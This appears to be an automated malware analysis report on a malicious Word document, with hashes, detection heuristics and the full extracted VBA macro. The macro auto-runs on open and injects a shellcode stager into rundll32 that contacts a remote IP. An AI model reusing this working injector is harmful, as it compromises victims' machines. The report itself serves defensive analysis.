Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 c553ac6002252e92…

MALICIOUS

Office (OOXML) / .DOCX

25.4 KB Created: 2022-06-16 15:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-16
MD5: 948bfa5bf8e4d74d1e284d9f8b781119 SHA-1: 2bff56a307a4f9b98b0c8b2bfae64348d085af5b SHA-256: c553ac6002252e926eb22d5adfa0f6805829e4cdb2a1da2c3e92ea557d563463
234 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10012625-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10012625-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
            sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8044 bytes
SHA-256: ec84d8abbbc7ed90e7b45a3ba7e72d44949e119e39aba1ad9f4bae08256ca9fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
50, 87, 89, 122, 0, -75, 127, 1, -23, 77, 50, 98, 25, -52, -68, 24, 50, 79, -54, -3, 101, -60, -56, 55, 105, -31, -95, -60, 11, -11, -91, 33, -7, 108, 81, -77, 53, 5, -86, 48, _
0, 39, 108, -54, -59, 111, 27, 13, -23, -7, -6, 124, 111, -72, 113, 74, 52, 1, -41, 70, 76, -40, -122, 86, 118, -34, 53, -112, 71, -92, 73, -6, 33, -33, -61, -2, 15, 26, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, 83, 73, 69, _
32, 57, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 87, 105, 110, 54, 52, 59, 32, 120, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110, _
116, 47, 53, 46, 48, 41, 13, 10, 0, 81, -56, 37, -117, 39, -108, -107, 87, 32, 114, -121, -21, -122, 120, 53, 32, 78, 120, -102, 78, -23, 58, 118, 98, -118, 23, -88, 115, -42, 76, -101, _
56, -123, 29, -112, 60, 124, -105, -23, -12, -86, 29, -46, -117, -108, 31, -50, -45, -66, 113, -124, -62, -117, -74, -38, -47, 116, 63, -13, -42, 68, 26, 47, -11, 87, 19, 104, -26, -118, -103, 54, _
-61, 26, -53, 32, 31, -41, 9, -116, 98, 125, -87, 116, -110, -127, 97, -75, 49, -11, -25, -92, 1, 89, -6, -37, 103, -98, 80, 51, 68, 9, 56, 27, 43, -44, 69, -43, 55, 4, -76, -4, _
74, 106, -4, -14, -50, 31, 116, -120, 100, -108, -34, 64, 107, -97, 41, 7, -106, 116, -38, -124, 64, -104, -124, -24, -80, 50, 113, -54, -118, 108, 105, 104, -75, -104, 33, -83, -55, -91, 93, 96, _
-70, -11, 21, -83, -67, -99, 0, 17, 95, 98, -125, 126, 19, 114, -79, -26, 85, 14, 103, 2, -67, -119, 104, 41, 0, 97, -94, -89, -116, -118, -12, -61, -54, -102, 102, -89, 107, -66, 88, 84, _
-37, 102, 66, -59, 103, -39, -85, -28, 75, 44, 58, -28, -98, 93, -57, -52, -38, -38, -11, 2, -120, -91, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 51, 57, 46, 49, 48, 52, 46, 57, 48, 46, 52, 53, 0, 0, 15, 66, 63)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: 95c75b22fe61919f019513789a5d6e0483826f97128bb879407d384ed2a15538
Detection
ClamAV: Doc.Malware.Valyria-10012625-0
Obfuscation or payload: unlikely

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